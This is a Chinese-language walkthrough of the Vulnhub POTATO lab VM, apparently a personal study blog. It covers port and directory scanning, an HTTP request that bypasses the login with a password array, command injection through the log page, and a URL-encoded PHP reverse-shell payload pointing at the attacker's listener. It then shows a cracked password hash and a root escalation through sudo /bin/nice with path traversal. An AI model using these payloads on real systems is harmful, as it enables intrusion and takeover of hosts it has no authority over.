热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

Vulnhub靶机实战POTATOWP

声明好好学习,天天向上搭建virtualbox打开,网络和攻击机一样,要么都用桥接要么都用NAT渗透存活扫描,发现
声明

好好学习,天天向上

搭建

virtualbox打开,网络和攻击机一样,要么都用桥接要么都用NAT

渗透

存活扫描,发现目标

arp-scan -l

端口扫描

nmap -T4 -A 192.168.31.66 -p 1-65535 -oN nmap.A

在这里插入图片描述

开启端口

发现开启80,22,2122

访问80

http://192.168.31.66

扫描目录

python3 dirsearch.py -u 192.168.31.66

在这里插入图片描述

挨个试一试,发现

/admin需要密码

/admin/logs下有一些日志

/index.php/login下啥都木有

访问ftp端口

ftp://192.168.31.66:2112/

发现文件

在这里插入图片描述

查看index源码备份文件

来一波源码审计

是要和用户名密码做比较,用户名字段和admin比较,密码和pass变量也就是potato比较,不一样就认证失败



Go to the dashboard";setCOOKIE('pass', $pass, time() + 365*24*3600);}else{echo "

Bad login/password!
Return to the login page

";}exit();
}
?>

Login






然而我竟然登不进去,当我使用网上大神post的password[]=&username=admin后,再加上x-forwarded-for后,可以了,不过我是真想知道从这段代码里面是怎么看出来,提交一个password数组的

POST /admin/index.php?login=1 HTTP/1.1
Host: 192.168.31.66
x-forwarded-for: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://192.168.31.66/admin/index.php
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 32password[]=&username=admin

在这里插入图片描述

成功

在这里插入图片描述

在log处发现命令注入

http://192.168.31.66/admin/dashboard.php?page=log
file=log_01.txt;id

在这里插入图片描述

kali监听6666

nc -lvvp 6666

访问,自行修改IP和端口

http://192.168.31.66/admin/dashboard.php?page=log
file=|php%20-r%20'%24sock%3Dfsockopen(%22192.168.31.64%22%2C6666)%3Bexec(%22%2Fbin%2Fsh%20-i%20%3C%263%20%3E%263%202%3E%263%22)%3B'

在这里插入图片描述

反弹成功

在这里插入图片描述

在 /etc/passwd 获取到用户 we­bad­min 的密码

$1$webadmin$3sXBxGUtDGIFAcnNTNhi6/

进入在线解密网站,解密后密码是dragon

https://www.somd5.com/

在这里插入图片描述

su到webadmin用户

在这里插入图片描述

sudo -l提权

ssh先连到webadmin用户

ssh webadmin@192.168.31.66
sudo -l

在这里插入图片描述

可以看到以 root 权限执行,大概意思就是可以通过sudo提到root,然后使用/bin/nice执行id命令

ls -al /notes
sudo -u root /bin/nice /notes/id.sh

构造上述结构进行提权,创建shell.sh内容如下

/bin/bash

执行命令

chmod 777 shell.sh
sudo -u root /bin/nice /notes/../home/webadmin//shell.sh

这样我们就以root身份执行了shell.sh里面的内容,而里面的内容是让我们进入/bin/bash也就是root的命令行

在这里插入图片描述

总结

1.信息收集

发现端口22,80,2112

2112ftp发现了index备份文件,代码审计,发现可提交参数

80扫描目录发现可登录页面

2.web权限

通过发送执行参数,成功登录web

3.shell权限

通过命令执行,反弹shell

4.权限维持

在/etc/passwd下发现webadmin用户密码,md5在线解密后,成功ssh登录,拿到flag

5.提权

sudo-l发现可以通过执行指定文件进行提权,拿到flag


推荐阅读
  • 搭建Windows Server 2012 R2 IIS8.5+PHP(FastCGI)+MySQL环境的详细步骤
    本文详细介绍了搭建Windows Server 2012 R2 IIS8.5+PHP(FastCGI)+MySQL环境的步骤,包括环境说明、相关软件下载的地址以及所需的插件下载地址。 ... [详细]
  • 在重复造轮子的情况下用ProxyServlet反向代理来减少工作量
    像不少公司内部不同团队都会自己研发自己工具产品,当各个产品逐渐成熟,到达了一定的发展瓶颈,同时每个产品都有着自己的入口,用户 ... [详细]
  • GetWindowLong函数
    今天在看一个代码里头写了GetWindowLong(hwnd,0),我当时就有点费解,靠,上网搜索函数原型说明,死活找不到第 ... [详细]
  • Spring源码解密之默认标签的解析方式分析
    本文分析了Spring源码解密中默认标签的解析方式。通过对命名空间的判断,区分默认命名空间和自定义命名空间,并采用不同的解析方式。其中,bean标签的解析最为复杂和重要。 ... [详细]
  • 向QTextEdit拖放文件的方法及实现步骤
    本文介绍了在使用QTextEdit时如何实现拖放文件的功能,包括相关的方法和实现步骤。通过重写dragEnterEvent和dropEvent函数,并结合QMimeData和QUrl等类,可以轻松实现向QTextEdit拖放文件的功能。详细的代码实现和说明可以参考本文提供的示例代码。 ... [详细]
  • 本文分享了一个关于在C#中使用异步代码的问题,作者在控制台中运行时代码正常工作,但在Windows窗体中却无法正常工作。作者尝试搜索局域网上的主机,但在窗体中计数器没有减少。文章提供了相关的代码和解决思路。 ... [详细]
  • android listview OnItemClickListener失效原因
    最近在做listview时发现OnItemClickListener失效的问题,经过查找发现是因为button的原因。不仅listitem中存在button会影响OnItemClickListener事件的失效,还会导致单击后listview每个item的背景改变,使得item中的所有有关焦点的事件都失效。本文给出了一个范例来说明这种情况,并提供了解决方法。 ... [详细]
  • 本文介绍了Web学习历程记录中关于Tomcat的基本概念和配置。首先解释了Web静态Web资源和动态Web资源的概念,以及C/S架构和B/S架构的区别。然后介绍了常见的Web服务器,包括Weblogic、WebSphere和Tomcat。接着详细讲解了Tomcat的虚拟主机、web应用和虚拟路径映射的概念和配置过程。最后简要介绍了http协议的作用。本文内容详实,适合初学者了解Tomcat的基础知识。 ... [详细]
  • 《数据结构》学习笔记3——串匹配算法性能评估
    本文主要讨论串匹配算法的性能评估,包括模式匹配、字符种类数量、算法复杂度等内容。通过借助C++中的头文件和库,可以实现对串的匹配操作。其中蛮力算法的复杂度为O(m*n),通过随机取出长度为m的子串作为模式P,在文本T中进行匹配,统计平均复杂度。对于成功和失败的匹配分别进行测试,分析其平均复杂度。详情请参考相关学习资源。 ... [详细]
  • 本文介绍了一个在线急等问题解决方法,即如何统计数据库中某个字段下的所有数据,并将结果显示在文本框里。作者提到了自己是一个菜鸟,希望能够得到帮助。作者使用的是ACCESS数据库,并且给出了一个例子,希望得到的结果是560。作者还提到自己已经尝试了使用"select sum(字段2) from 表名"的语句,得到的结果是650,但不知道如何得到560。希望能够得到解决方案。 ... [详细]
  • Linux重启网络命令实例及关机和重启示例教程
    本文介绍了Linux系统中重启网络命令的实例,以及使用不同方式关机和重启系统的示例教程。包括使用图形界面和控制台访问系统的方法,以及使用shutdown命令进行系统关机和重启的句法和用法。 ... [详细]
  • springmvc学习笔记(十):控制器业务方法中通过注解实现封装Javabean接收表单提交的数据
    本文介绍了在springmvc学习笔记系列的第十篇中,控制器的业务方法中如何通过注解实现封装Javabean来接收表单提交的数据。同时还讨论了当有多个注册表单且字段完全相同时,如何将其交给同一个控制器处理。 ... [详细]
  • 本文介绍了在Linux下安装和配置Kafka的方法,包括安装JDK、下载和解压Kafka、配置Kafka的参数,以及配置Kafka的日志目录、服务器IP和日志存放路径等。同时还提供了单机配置部署的方法和zookeeper地址和端口的配置。通过实操成功的案例,帮助读者快速完成Kafka的安装和配置。 ... [详细]
  • Elasticsearch1Elasticsearch入门1.1Elasticsearch术语1.1.16.0以前的Elasticsearch术语1.1.26.0以后的Elasti ... [详细]
  • 本文介绍了深入浅出Linux设备驱动编程的重要性,以及两种加载和删除Linux内核模块的方法。通过一个内核模块的例子,展示了模块的编译和加载过程,并讨论了模块对内核大小的控制。深入理解Linux设备驱动编程对于开发者来说非常重要。 ... [详细]
author-avatar
会展小控
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有